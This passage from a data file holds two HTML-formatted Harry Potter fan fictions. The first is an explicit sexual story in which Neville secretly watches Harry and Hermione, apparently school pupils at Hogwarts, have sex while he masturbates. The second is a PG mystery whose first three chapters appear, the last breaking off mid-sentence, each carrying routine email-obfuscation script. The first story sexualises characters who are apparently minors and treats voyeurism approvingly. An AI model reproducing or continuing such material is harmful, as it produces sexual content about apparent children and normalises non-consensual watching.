	(61, 2, '\n<p><b><u>Peeping Neville</u> by msscribe</b></p>\n<p><i>AN: This is my first smutlet, and with my prior job I didn\'t have a lot \n  of time to put into my fics.&nbsp; So I rewrote it.&nbsp; Hopefully, you\'ll \n  enjoy.&nbsp; </i></p>\n<p align="center">~~~~~~</p>\n<p>&nbsp;<br>\n  Neville Longbottom always seems to get stuck with the loser jobs. Why is it \n  that he has to go find Harry? Harry had already said that he was feeling ill \n  after the Quidditch game. He had caught the snitch, of course, but even Seamus \n  had noticed he wasn\'t quite &quot;with it&quot;. So when the victory party started \n  downstairs, Ron was already getting loaded off of butterbeer, and Hermione had \n  already trotted off to the library, and guess who<i> </i>was left to check up \n  on Harry.&nbsp; </p>\n<p><i>He was.&nbsp; </i></p>\n<p>Neville quietly cracks open the door, just in case Harry is already asleep, \n  and is surprised when he isn\'t in there.</p>\n<p><i>Harry Potter lied?&nbsp; And why would he want to miss out on his own party? \n  </i>Neville thinks to himself.<i></i></p>\n<p>Harry and Ron\'s room is bigger than the one he shared with Seamus.&nbsp; Harry\'s \n  closet, which is right next to the entrance, is slightly open and Neville can \n  see Harry\'s Firebolt inside. He can\'t resist the urge to hold it. \n</p>\n<p><i>God, what it would be like to be Harry Potter, diving for the snitch.&nbsp; \n  Reveling in the glory of the win!</i>&nbsp; </p>\n<p>Neville walks into the large closet and picks it up. If he actually tried to \n  ride the damn thing, he\'d probably end up a bloody pulp at the bottom \n  of the field.&nbsp; But he could dream.</p>\n<p style="text-align:center" align="center">~~~~~~</p>\n<p>When he enters his room, Harry closes the closet door instinctively, locking \n  Neville inside.&nbsp; Neville begins to call out in protest, but he hears a \n  female voice whispering something.</p>\n<p>&quot;Mmmm... Harry,&quot; the voice mumbles.</p>\n<p>Neville freezes. Harry isn\'t alone. &nbsp;Harry utters a locking and silencing \n  charm on the room. </p>\n<p><i>Sod. Sod. Sod. </i></p>\n<p>Neville peaks through the keyhole, and his jaw drops at what he sees. </p>\n<p>Harry Potter is pulling a very mischievous looking Hermione Granger onto his \n  lap. &nbsp;Then Harry begins kissing her.&nbsp; Well, not just kissing her, \n  he is practically licking her tonsils. Neville is in complete shock.&nbsp; This \n  was not an innocent first time kiss.&nbsp; </p>\n<p><i>When did this happen?</i> </p>\n<p>&quot;We\'re going to be found out you know,&quot; Hermione mumbles pulling \n  away from him slightly.</p>\n<p>&quot;I don\'t think I care anymore,&quot; Harry moans</p>\n<p>Neville realizes that the decent thing to do would be to bang on the door to \n  be let out, or at the very least look away.&nbsp; He raises his hand to the \n  door to knock, but changes his mind as Harry begins to fiddle with Hermione\'s \n  skirt, unhooking it. Harry\'s hands move down to her rear and Neville can feel \n  a lump rising in his throat. Hermione sighs sweetly, grabbing Harry\'s hair with \n  her hands and bringing his lips down to her neck. Harry lies back onto his bed \n  and Hermione straddles him.</p>\n<p><i>Son of Merlin, daughter of Nostradamus!</i> Neville mutters to himself as \n  he watches Harry\'s hands explore. </p>\n<p>She wears simple cotton panties, but the bobby sock combination is maddening. \n  Neville feels his pants getting a little tighter. </p>\n<p>&quot;I want you so bad.&nbsp; I was thinking about doing this the whole game,&quot; \n  Harry groans.</p>\n<p><i>No wonder he\'d barely caught the snitch</i>, Neville thinks. </p>\n<p>&quot;Yeah?&quot; she sighs, &quot;and what were you thinking you wanted to \n  do to me?&quot; </p>\n<p>&nbsp;She sits up and begins to unbutton her blouse. Neville curses to himself \n  as Harry pulls her shirt off and then unhooks her bra. </p>\n<p><i>Perfect light brown nipples, soft round curves.</i>&nbsp; &nbsp;</p>\n<p>Harry groans and reaches up to cup Hermione\'s breasts. Then he draws \n  her closer to his face so he can suckle on each one, letting his tongue dance \n  around her hardening peaks.</p>\n<p>Neville lets a small moan escape him. It is beginning to get very warm in that \n  closet. </p>\n<p>With the swift movement of a wild animal, Harry picks up Hermione and lays \n  her back down onto the bed. He lets his lips travel over her breasts\'and \n  then to her stomach. Neville\'s breath catches and holds in anticipation \n  when Harry pulls off her panties and opens Hermione\'s legs to his hungry \n  mouth.&nbsp; Harry\'s tongue works the writhing girl into a heated Frenzy \n  as her lips form a pink circle, and her breath comes out in little pants.&nbsp; \n</p>\n<p>Neville lets his own hand wander downwards as he watches Harry work a different \n  sort of magic on their mutual friend. He wonders what she tastes like.&nbsp; \n  What her tiny curls down there would feel like on his chin. </p>\n<p>Now he had <i>two</i> reasons to envy the boy-who-lived. </p>\n<p>Hermione throws her head back, clinging to the bedcovers as Harry buries his \n  face in her.&nbsp; She calls out his name, trying to catch her breath as he \n  pulls up to kiss her again.&nbsp;&nbsp; Reaching for Harry\'s pants, she motions \n  for him to sit on the bed. &nbsp;She kneels in front of him.&nbsp; Hermione \n  pulls Harry\'s underwear off, freeing his erection.</p>\n<p>Make that <i>three</i> reasons.</p>\n<p>Neville is trembling now. Nothing has ever affected him quite like this. His \n  own hand involuntarily slides up and down on his growing erection.</p>\n<p>Hermione encircles Harry\'s cock with her mouth. She runs her mouth up \n  and down his shaft again and again. &nbsp;Harry whimpers and holds onto her \n  hair.</p>\n<p>&quot;Suck me\'Oh God please,&quot; Harry begs.</p>\n<p><i>Bloody Hell! For the love of Merlin, please don\'t stop!</i> Neville thinks. \n</p>\n<p>But Harry doesn\'t want to come just yet, so he draws Hermione back up to him, \n  pulling her on top of his body and sliding his leg between hers.&nbsp; Hermione \n  willingly complies. Harry massages Hermione\'s bare back with long, sensual strokes \n  and she responds by pressing tightly against him, arching the small of her back \n  as his hands slide up her spine, causing her breasts to rub against his chest.&nbsp; \n  Then Hermione slides her other leg over Harry\'s so that he can take her.&nbsp; \n  He gently guides his penis into her, teasing her by entering her a little at \n  a time, holding back, until he arches upward, causing her to gasp.</p>\n<p>Neville thinks that is enough. He can take no more. Well, maybe a little more...</p>\n<p>Hermione straddles Harry\'s perfect erection, pulling up slowly, then \n  crashing back down, letting him fill her.&nbsp; They are rocking in a heated \n  rhythm, doing the most intimate of dances.&nbsp; Beads of sweat are beginning \n  to form on Harry\'s forehead and he closes his eyes as he moves inside \n  of her.</p>\n<p>Neville feels something explode in his hand. Relief washes over him. </p>\n<p>Harry climaxes with a throaty groan, &nbsp;and Hermione collapses on top of \n  him. He flips her onto her side and she wraps her arms around him. They kiss \n  softly, clinging onto each other.</p>\n<p>&quot;You were wonderful Harry,&quot;she says.</p>\n<p>&quot;Hermione,&quot; he mutters, &quot;I have to have you again.&quot; </p>\n<p>Hermione let her hands stroke his back.</p>\n<p>&quot;We don\'t have time Harry, but maybe you can use the cloak to visit \n  me tonight.&quot;</p>\n<p>Harry lets his lips trace the curve of her neck.</p>\n<p>&quot;Sounds good.&nbsp; I can\'t stand that we have to keep this a secret,\' \n  Harry sighs.</p>\n<p>Hermione kisses Harry on his forehead. \'I know, but it\'s better \n  this way for now.\'</p>\n<p>Neville is touched by their exchange, but he is also caught up in his own Euphoria \n  at the best orgasm he\'s ever had.</p>\n<p>&quot;Can we meet Thursday, while Ron is in Detention with Snape. It will give \n  us an hour.&quot;</p>\n<p>&quot;I\'m tutoring Neville in Arithmancy&quot; Hermione replies.</p>\n<p>Neville makes a note to cancel that session.&nbsp; Who was he to stand in the \n  way of love?&nbsp; Hopefully Harry will forget to lock his door again.</p>\n<p style="text-align:center" align="center">~~~~~</p>\n<p><br>\n  The couple dresses quickly and leaves.&nbsp; &nbsp;Harry waits a few minutes \n  before leaving after Hermione. Neville is then able to sneak out of the room \n  and he immediately goes into the bathroom to pull himself together. Feeling \n  somewhat normal again, he wanders down to the common room to find the gang hanging \n  out.&nbsp; Ron is sobering up, and intentionally losing a game of Wizards Chess \n  to Pavarti Patil, Lavender and George are playing cards, and Harry is reading \n  a Quidditch Magazine. </p>\n<p>Hermione Granger is reading her Potions Book, looking as sweet and as innocent \n  as ever.</p>\n<p>&quot;Hey Neville! How did we manage to find Harry before you did?&quot; Ron \n  calls out.</p>\n<p>&quot;I got distracted.&quot; Neville mutters, feeling flushed.</p>\n<p>Harry eyes him somewhat suspiciously.</p>\n<p>&quot;When did you go looking for me?&quot; Harry asks.</p>\n<p>&quot;I never really did. I felt tired so I lay down for a minute, then I fell \n  asleep. Too much butterbeer I guess,&quot; Neville says nervously.</p>\n<p>&quot;Neville, you\'re an incompetent twit,&quot; George quips.</p>\n<p>Hermione shakes her head, looking down at her book studiously. Neville will \n  never be able to look at her or Harry the same again. </p>\n<p>And he is grateful for that. <i>Thank you Merlin.</i> </p>\n<p style="text-align:center" align="center">~~~~~~~~~~Fin~~~~~~~~~~</p>\n\n\n'),
	(62, 1, '<i>Title:  Harry Potter and the Unbreakable Link (1/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  7th year fic in the good old traditional style.  Voldemort has a daughter (only he lost her), Harry has a dream, Dumbledore has a past and Hermione has a problem.  Major revelations about the Potters, and the beginning of a possible romance...\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 1- The Invisibility Cloak \n</p><p>\nShe walked swiftly down the street. The night was hot- sultry. A cool breeze, however, blew inland from the nearby sea. A few street lamps illuminated the road, that was all. The sounds of midnight revellers could be from the main streets. She looked down at the cool summer dress she was wearing.  Bother, I just didn\'t think of the clothes! I must show up very well in white on a dark street. Typical, isn\'t it, she muttered to herself as she walked on, you think of everything, the rope; you even tested it for weight! And you don\'t notice that you\'ll be seen in white. I plan it to perfection, and I don\'t think of that! At least I always wear flat shoes, high heels would have been dreadful!\n</p><p>\nSuddenly, out of an alleyway reeled a drunkard. "Kalimera! Hic- you\'re a- hic- pretty thing- hic- aren\'t you? Kalinihta!" He reeled away. She took a few steadying breaths and leant against the peeling paint of a wall. She\'d survived!  Pull yourself together! He\'s not Voldemort in disguise! she told herself severely.  All he did was gibber in Greek! It\'s nothing to worry about. \n</p><p>\nAll the same, she did look round more often than before, what if she was caught? What if <i>he</i> was already there, if she was too late? Perhaps he already knew. She had thought she had been the only one to know, what if she was wrong? What if she was all wrong? If it had all been a mistake? Then common sense returned. Of course she was right! She was always right. How could she be wrong? She had researched it so well! She almost laughed. She was going to save the world! \n</p><p>\nShe ran down the street and across the little square to the other side where the Palace was. She could hear the fountain playing in the centre of the square, she could smell food.  Someone was cooking kebabs in a house nearby. She looked at her watch, ten minutes past two o\'clock in the morning. She should be safe. The grand house was surrounded by a garden and high railings. From under the maroon dress coat she pulled a length of strong rope with a bar of wood at one end. She stuck her foot through the railings to see what the ground was like. Grass, that was fine. Checking nobody was watching, she threw the rope up so that the stick caught between the tops of the rails. Checking that it was firm, she gripped the rope in both hands and started to climb up. <i>I\'m going to save the world,</i> she reminded herself as she pulled herself up. At the top she remembered not to look down, and holding onto the stick, so that the rope would follow, so she could use it to get out, she took a deep breath, muttered, "This is for the benefit of all mankind!" and jumped. \n</p><p>\nShe landed with bent knees, on the grass safe and sound. Breathing deeply, she stood up and rolled up the rope and put it into her pocket. She looked around her, she was definitely inside the gardens, not a thing was stirring, not even a bird. There were so many shadows though. They looked so human. What if they were? What if she was being watched? Her fingers closed on that vital piece of wood, her wand, in her pocket. She couldn\'t do magic in the holidays, but it reassured her, even so. \n</p><p>\nSurely those leaves crackled? Oh, that I had an invisibility cloak like Harry! If only! I\'d be all right then.\n</p><p>\nBut Harry was safe asleep at Privet Drive or at The Burrow with Ron. Oh for his cloak! She was sure there was someone there.  She spun round. No-one! Her heart beating faster than normal, she moved noiselessly around the house to look for a side entrance that wasn\'t locked. <i>Oh for some company</i>! For a minute she saw a shadow- heard a footstep. What if it was- Her imagination took hold of her.\n</p><p>\n<i>"I say, what are you doing here?"\n</i></p><p>\n"Ron! Thank goodness someone\'s come! I\'m going to save the world and you can help me!"\n</p><p>\n"Save the world, er, Hermione, that\'s impossible!"\n</p><p>\n"Come on anyway!"\n</p><p>\nThen the shadow was someone else- Hermione\'s head span.\n</p><p>\n<i>"What are you doing here, Granger?" it inquired in a different tone from Ron.\n</i></p><p>\n<i>"None of your business, Malfoy."\n</i></p><p>\n"Oh no! We\'ll see about that, Mudblood!" he laughed, and then the laugh turned high and cold, and his face become the one she had only seen in her nightmares; a chalk white face, slit red eyes, and a flat nose. </p><p>\n"Noooooooooooo!" She sank down by a tree, terrified. \n</p><p><i>\n"Never cross the Dark Lord\'s path. I don\'t like meddlers, girl." He laughed again.\n</i></p><p>\n"You haven\'t saved the world yet, have you?" he raised his wand. \n</p><p>\n"Help! Harry! Ron!"\n</p><p>\nThe laugh was crueller than ever, "Avada Kadavra!"\n</p><p>\nShe fainted.\n</p><p></p><div class="center">*</div><p></p><p>        \n"Wake up! Wake up! Please wake up! Wake up! Wake up!" Hermione dragged herself back to consciousness. The voice cried, "Thank goodness you woke up." Hermione spun round, no-one was there. Who had spoken?  It seemed to come from her head. That was impossible, however, she knew that of course. "Look out, the guards!" yelled the voice, and this she could footsteps and voices for real. \n</p><p>\nThere was nowhere to hide, nowhere to go. She was trapped, no use to run; they would hear her. It was like her worst dreams. \n</p><p>\n<i>Oh for the invisibility cloak! Harry! HARRY! Please, the cloak! I need the cloak! I wish I had the cloak! Oh, Harry, save me!</i> She crept behind a tree and closed her eyes while she waited for the guards to come and arrest her. She couldn\'t think of anything to do. She couldn\'t even apparate or do anything that might be of use. \n</p><p>\nShe could see Harry\'s cloak swim before her shut eyes. Oh how much she wished she had it. She felt a soft weight in her hands. She opened her eyes, (how close the guards were!) and there, in her hands was a piece of shimmering material, the invisibility cloak! Without stopping to wonder, she threw it over herself and held her breath to wait for the guards. Two thickset men walked past, revolvers in their hip pockets. Hermione understood enough Greek to realise that they had heard a noise round here and had come to investigate. They poked around a bit, then one said, "Must\'ve been a bird or something," The other one agreed, "Come on, we\'ve wasted enough time around here."\n</p><p>\nThey walked away. Hermione let out a long breath. Fate seemed to favour her tonight! Checking that the guards really had gone, she gently took off the cloak. It really was Harry\'s for it said, \'J. Potter.\' at one side. She didn\'t understand, how did she have it? Surely wishing for something didn\'t bring over seas to her? Was this a copy then? Was the real cloak at 4 Privet Drive as usual? </p><p>\nFrowning, she put it back on, she couldn\'t risk another close encounter like the one she had just had. She carried on walking, trying not to think of the cloak, but she couldn\'t.  \'Well, I\'m honoured to have possession of James Potter\'s invisibility cloak. I\'ll keep it very safe for Harry,\' she promised. \n</p><p>\nThere was the side entrance, and it wasn\'t locked. Heart leaping for joy at not having to break in, she slowly pushed it open. It creaked. Hermione waited a minute, no sound, and shut it behind her. I hope the guards haven\'t heard it, she thought. \n</p><p>\nThe door led through into a long, paved corridor. Like all Mediterranean houses, it was cool and dry. The flags on the floor were broken and worn in places; she almost tripped up at one point. </p><p>\nShe had reckoned that the room where the writing was kept would be on the ground floor, so she ignored the great, dusty, sweeping stairs. The first door she came to was the kitchen, and therefore unsuitable. \n</p><p>\nThe next room looked like a sitting room. Gingerly she switched on the light, fortunately it was very feeble. She looked past the ornamental brocade chairs and the dusty grand piano.  What a state of neglect this house is in, she thought sorrowfully, but saw nothing that could be called what she was looking for. She switched off the light and walked across to the next room. \n</p><p>\nShe switched the light on in this room- it was the dining room. She scanned it, and her heart gave a beat of excitement. Next to the fireplace was a large glass case with a piece of paryrus in it. She approached it quickly, taking the red notebook out of her pocket as she did so. She compared the writing in the book to that on the paryrus. It was the same! She had found her goal! Now all she had to do was copy the bits she didn\'t have in her book. She took out her pencil and started to copy it.\n</p><p></p><div class="center">*</div>\n<p></p><p>\nHarry Potter woke up suddenly. He had had a funny dream. He had had others like it and he tried to remember this one. There had been the girl, of course. There always was the girl. And whenever he had looked into her face, to see who she was, he had woken up, before he could identify her. \n</p><p>\nThis dream had been the strangest yet, however. He had seen the girl go through museums and great houses, in search of something, but in this dream, she had been in the grounds of a great house at night. It had been hot, he remembered and there been the shadows, not shadows, more like Priori Incantatem prowling around the grounds with him. There had been Ron and Draco Malfoy. Then suddenly the girl had collapsed. Harry had been just about to help her, when he had seen the two people, with guns. The girl was in danger from them, he didn\'t know how or why, but he knew she had to wake up. "Wake up! Wake up!" he remembered screaming to her and eventually she had woken. He told her about the guards and she had panicked. Then she had cried for his cloak, for him and for Ron. I\'m sure I know her! he thought angrily.  He furrowed his brows, but he couldn\'t remember what she looked like at all. And, he had given her the cloak; put it in her hands, and as he had looked up at her, he had woken up. As he always had. He desperately wanted to see her, instead of just helping her, he wanted to get to know her properly and whenever that could have happened, he woke up. It was so annoying!\n</p><p>\nHe had given her the cloak though, he thought with sudden inspiration. He climbed stealthily out of bed, listened to the Dursleys to check they were asleep, then opened his trunk and put his hand into the pocket where he always kept his invisibility cloak. He almost had a heart attack. \n</p><p>\nThe cloak wasn\'t there. \n</p><p>\n<i>This chapter has ended.</i>\n'),
	(62, 2, '<i>Title:  Harry Potter and the Unbreakable Link (2/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary: 7th year fic in the good old traditional style.  Voldemort has a daughter (only he lost her), Harry has a dream, Dumbledore has a past and Hermione has a problem.  Major revelations about the Potters, and the beginning of a possible romance...\n\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 2- The Lady \n</p><p>\nHarry was stunned. His invisibility cloak! Gone! Where? Was it possible that the lady in the dream... but that really was impossible! Invisibility cloaks did not suddenly disappear.\n</p><p>\nHarry did not know what to do. In the end he wrote to Sirius explaining exactly what had happened in his dream and afterwards. However he later wished that he had waited another day to send the letter, then he could have told Sirius about the second dream...\n</p><p></p><div class="center">\n*\n</div><p></p><p>\nThe room was dark and wet and damp. The circle of Death Eaters stood round Lord Voldemort in a circle. Voldemort looked healthy and at the height of his powers. He prowled round, staring carefully at all the hooded faces.\n</p><p>\n"So," he said eventually, "we still do not know who the Potters\' secret keeper is? Are we sure? Is someone keeping something back, perhaps? Severus Snape, surely you have an idea?"\n</p><p>\nA hooded figure replied in Snape\'s voice, "Indeed, Master, I do not know."\n</p><p>\n"I do not believe you! You must guess. Surely you are aware that the Potters have a secret keeper?" His voice started to take on a hint of menace.\n</p><p>\nSnape paused a moment then said carefully, "The Potters trust Dumbledore more than anyone, I believe."\n</p><p>\n"Professor Dumbledore? Ha! That muggle loving fool! Now I can concoct my plans for their defeat properly. The meeting is over now. Crabbe, I wish to see her ladyship as soon as possible. Now."\n</p><p>\nThe wizards started to apparate away and soon only Voldemort was left in the room. He paced up and down looking tense. "I cannot hope to defeat Professor Dumbledore. <i>Not yet anyway</i>." He laughed.\n</p><p>\n"What is so amusing, my Lord?" Voldemort span round.\n</p><p>\nThe speaker was a lady. She was very small and dressed in black robes with a hood pushed back over her forehead. She was carrying a bundle in her arms. Her hair was coal black and scraped into a tight bun. Her face was pale and sharp and she had shrewd dark eyes. Her mouth curved into a clever, sly smile.\n</p><p>\n"Nothing, Estella. Nothing. Nothing you care about."\n</p><p>\n"Oh, Tom, how cruel of you. You must know that anything that interests you must interest me as well."\n</p><p>\n"Stupid girl. Why have you brought the child, fool?"\n</p><p>\n"What else am I meant to do with it? When are you going to give me something else to do than simply nurse a crying baby like any common  muggle?"\n</p><p>\n"Well said, my Lady, well said." He laughed cruelly. "That is exactly what you are going to do: give it to a muggle to nurse for you."\n</p><p>\n"<i>Are you mad</i>?"\n</p><p>\n"No, of course not."  He paused, waiting for her to react in some way then when she didn\'t, continued, "Estella, I cannot hope to defeat Dumbledore, you know that."\n</p><p>\n"I know it."\n</p><p>\n"This child is the same age of the Potters\' son. If I cannot reach the Potters, then this child will grow up with him and then, through little Harry, I will kill the Potters."\n</p><p>\n"Oh yes, my Lord. I can see it all. Here, listen.  At the sorting- Potter, Harry. Gryffindor, of course. Bla, Bla, Bla. Voldemort, Elvira. Sure. That\'s going to work. Dumbledore will blow his top."\n</p><p>\n"Don\'t be so silly, Estella, I\'m not going to do it like that and I shall make sure that you, since you wish to do something, shall be in charge of your daughter\'s upbringing."\n</p><p>\n"What an honour! You get to do the dirty work and I look after the children. Great!  Just what I always wanted to do."\n</p><p>\n"This is not any child, Estella!" he hissed.  "This is my child and your child! Think of its parentage! The daughter of the most powerful and clever wizard-"\n</p><p>\n"Think a lot of yourself, don\'t you?"\n</p><p>\n"-and the cleverest witch ever, I\'ll give you that."\n</p><p>\n"Thank you, Tom, but I still don\'t know exactly what you have in mind."\n</p><p>\n"This. You have heard of the prophecy, that Professor Trelawney made to me in my last year of school?"\n</p><p>\nEstella looked pitifully at him, "Really, who\'d have thought it, Tom Riddle, alias Lord Voldemort, believes the pathetic Trelawney\'s fake predictions! Well, honestly!"\n</p><p>\n"I\'m getting very fed up with you. I\'ll give the job to someone else if you don\'t stand still."\n</p><p>\n"What job? I\'m listening."\n</p><p>\n"The prophecy said that our child would defeat the light."\n</p><p>\n"I seem to remember it saying the light, <i>or the dark</i>, eh, Tom?"\n</p><p>\n"<i>ESTELLA</i>! I do not remember anything of the sort."\n</p><p>\nEstella looked contemptuously away and pursed her lips. Voldemort continued.  "You are an expert in Transmorphation. You will change my daughter\'s appearance so that she looks like the normal, unintelligent muggle she will be taken for. You will then deliver her into the care of a nice, not too bright muggle family where she will be brought up."\n</p><p>\n"What is the point of this, my lord?"\n</p><p>\nHe laughed. "Not quite so clever as normal, Estella. She shall then\nbe sent to Hogwarts believing herself to be Jane Bloggs, or whatever. There she will discover her true side as a Slytherin- my daughter, and through her cultivation of Harry Potter\'s friendship I shall get at the boy and through him, his parents! It is a perfect scheme."\n</p><p>\nEstella was silent for a long time, then she said, in a low voice, "Do you really expect this to work? Your schemes are always stupid. Without me to guide you through everything you would be rotting away in Azkaban by now. You\'ve always known that, that\'s why you picked up insignificant Estella Green of the first year, friendless and with only her diary to talk to! Where would you be without me?!"\n</p><p>\n"You can talk! Where would you be without me then? Still plain, insignificant Stella Green, earning her living writing adventure stories starring wonder-witch, Elvira! Now you\'re the mistress of the most powerful wizard in the whole world!"\n</p><p>\n"I could have become the most powerful witch in the whole world in my own right, without your help, as you well know!" \n</p><p>\n"I would have killed you then."\n</p><p>\n"I know. And I didn\'t want to die, so I joined you."\n</p><p>\n"How do I know you are faithful to me?"\n</p><p>\n"You don\'t."\n</p><p>\nVoldemort didn\'t reply. A few seconds later, his lady said ironically, "We really have the perfect relationship, Tom. I cannot betray you to the ministry or Dumbledore because you would kill me, and you cannot hurt me because I would kill you."\n</p><p>\n"Would you really kill me, Estella, after all these years?"\n</p><p>\n"Waxing sentimental now, Tom, are you?"\n</p><p>\n"Do you want to know what to do with the child, or not?"\n</p><p>\n"You\'re going to tell me whether I want to know or not."\n</p><p>\n"You will take the child away tomorrow and deliver her to the muggles.  After that you can leave everything to me, and I never want to see you again afterwards, Estella. You may leave."\n</p><p>\nEstella stood still a minute then, putting her daughter on a chair in the room, she approached Voldemort. She looked him in the eye and then she slapped him hard across the face. Her cheeks had red spots on them and her lips were the thinnest lines. "You\'ll regret saying that, Tom Riddle."  She hissed then she turned on her heels, picked up the baby and swept proudly out of the room, before he could curse her.\n</p><p>\nOutside, she took a deep breath and nodded to herself. "You\'re making a big mistake, my Lord," she said out loud. \n</p><p>\n<i>This chapter has ended.</i>\n'),
	(62, 3, '<i>Title:  Harry Potter and the Unbreakable Link (3/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 3- The Train journey\n</p><p>\nHermione had been ill. Very ill. She had caught a cold the night she gone to the palace in Greece and it had developed into some sort of nervous disorder. Now thankfully, on September the first, she was perfectly recovered. \n</p><p>\nThe platform was very crowded. Hermione made her way onto the train and searched for Harry and Ron. \n</p><p>\n"Hermione! Over here!" came Ron\'s voice from somewhere along the carriage. "Is that Hermione? <i>Hermione</i>!" yelled Harry\'s in return. She rushed to the sound of their voices. \n</p><p>\nThey were both sitting in an empty compartment, books and robes strewn around the floor. Hermione looked around happily. Finally she was back where she belonged. \n</p><p>\nRon hadn\'t changed at all but Harry had grown quite a bit. He was taller than her now. She sat down next to Ron and Crookshanks crawled onto his lap.\n</p><p>\nAfter conversation about the holidays and other trivial topics, a constrained silence set in between the trio. Harry stared out of the window, Ron stared at Hermione and Hermione stared at Harry. She was wondering how she was going to tell Harry that she had his invisibility cloak. She did not want to tell Ron just yet. It was clear that some magic, whether good or bad she didn\'t know, had taken place that fateful evening, and Hermione wanted to discuss it with Harry first.  Besides, her relationship with Ron had been rather taut for the last few months.\n</p><p>\nShe had just opened her mouth, but Harry opened his first. He said, "I need to tell you lot what happened in the holidays."\n</p><p>\nHermione\'s courage rose. "Erm, Harry, I need to talk to you."\n</p><p>\n"Fire away then."\n</p><p>\nIdiot! thought Hermione, couldn\'t he tell I meant <i>alone</i>.\n"Um... I meant alone actually."\n</p><p>\n"OK," replied Harry.  "Beat it, Ron."\n</p><p>\nRon, however did not beat it. He stared at Hermione, and whispered something in her ear. Harry watched her, and her face was a picture. She went very red and shouted, "RON! HOW DARE YOU? You\'re worse than- <i>You</i>! Off all people! Not that I\'m offended or anything, it\'s just, that\'s so, so, <i>like a boy</i>," she finished lamely.\n</p><p>\nRon had gone red too, "er, are you though?"\n</p><p>\n"NO!" cried Hermione. "You prat, now move it!" She practically pushed him out of the door.\n</p><p>\nHarry was very puzzled but said nothing. Hermione however sat down in a business-like fashion and said, "Never mind Ron. I know what you were going to say earlier. You\'ve lost your invisibility cloak."\n</p><p>\n"How did you know? You\'re perfectly right and everything, but how-"\n</p><p>\n"I\'ve got it," said Hermione reaching down and taking it out of her trunk.\n</p><p>\nHarry looked flabbergasted. "Where-what-why-when-how?"\n</p><p>\nHermione almost laughed. "I found it, suddenly, in my hands one night, somewhere," she said evasively. She did not want to tell anyone why she had been breaking into Greek palaces just yet.\n</p><p>\nHarry looked serious.  "Where exactly were you?"\n</p><p>\nShe told him, missing out the motive. \n</p><p>\n"I had a dream, and it took place in those grounds that you were talking about," said Harry when she finished.\n</p><p>\n"And me, was I in it?" asked Hermione.\n</p><p>\n"Yes, that is, I don\'t know, there was a girl like always, but I never saw her face."\n</p><p>\n"Oh. You saw me, that girl I mean, more than once?"\n</p><p>\n"Yes, in all these different dreams. It was horrible. She\'d be going round all these museums and things, and she was looking for something, and I always really wanted to talk to her, but when I approached to see who she was, she just disappeared. It was awful."\n</p><p>\n"I did go around plenty of museums in Greece, and I was looking for something specific. Actually I found it on the night I got your cloak."\n</p><p>\n"I know you found whatever it was."\n</p><p>\n"You know? How?" \n</p><p>\nHarry hesitated. How had he known 